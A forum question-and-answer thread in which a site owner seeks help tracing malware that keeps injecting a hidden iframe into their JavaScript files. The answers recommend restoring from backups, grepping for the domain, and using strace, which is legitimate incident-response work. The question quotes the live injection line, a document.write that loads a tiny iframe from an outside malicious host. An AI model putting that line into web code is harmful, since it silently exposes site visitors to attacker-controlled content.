Possible Duplicate:
My server’s been hacked EMERGENCY

A server of mine recently suffered a malware attack. I've since cleaned the server up a bit, upgraded a variety of wordpress installs and timthumb files, and removed a lot of old and archived directories. My host (dreamhost) agrees that all the big wide open gaping vulnerabilities are closed.

Now I just need to find the source of the malware. Somewhere on my server, a script is adding an iframe injection to all my javascript files. It happens every few minutes. Here's an example of the injection, though this changes sometimes:

document.write('<iframe src="http://wbjsb.myddns.com/valcunatrop.cgi?6" scrolling="auto" frameborder="no" align="center" height="11" width="11"></iframe>');

If I remove this, it comes back in about 5 minutes.

Any thoughts on how to hunt down the script that is making these changes? Thanks!

marked as duplicate by Tim Brigham, voretaq7 Dec 3 '12 at 21:34

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

  • I watched the access logs to see if any external script was being called, but after cleaning the files, tailing the logs, and watching the files get corrupted again, nothing appeared on the access logs. – PJ. Dec 3 '12 at 17:29
  • You have backups, right? If you do, it will be much quicker and easier to do a complete re-install than to "clean" your server. – Ladadadada Dec 3 '12 at 17:48
  • @Ladadadada I do, but I'm not sure when the malware came in, so backing up might not remove the problem. I think I just figured it out, doing a tail of every log file and watching what is hit. WIP. – PJ. Dec 3 '12 at 17:53
  • Are there any files on your system with "wbjsb.myddns.com" in them? I realize sophisticated attackers obsfuscate the strings, but it's worth trying. You can also limit the files to check to those that have been accessed since the last reboot. – mpez0 Dec 3 '12 at 18:55

If the malware is a script that is actually being executed by the web server, you could attempt to use strace to see what files are being opened and/or written to by the web server process/script interpreter based on system calls being made. It's a little low-level, but it works. (This depends on the server, scripting language, and forking model being used). You'd probably want to stick strace on the script interpreter (using php as an example, e.g. php5-fpm if it's PHP FPM, apache2 if using mod_php5) and could see what files are being opened, e.g. for apache2 with mod_php5:

sudo strace -f -e open,close,read,write apache2 -k start | tee /tmp/strace.log

or something to that effect, and examine the log. (-f forces strace to follow forks assuming your Apache is using the prefork MPM; generally the default for mod_php5 installs, -e open restricts output to only the open(2) syscall and friends). Obviously, this is going to show you every file that the server/PHP is opening, but you can do some grep magic to try and narrow it down.

You could probably narrow down based on the write(2) syscall that is occurring as well with grep (use the -v option to strace to avoid truncating the strings that are getting sent to write(2)).

Not the answer you're looking for? Browse other questions tagged or ask your own question.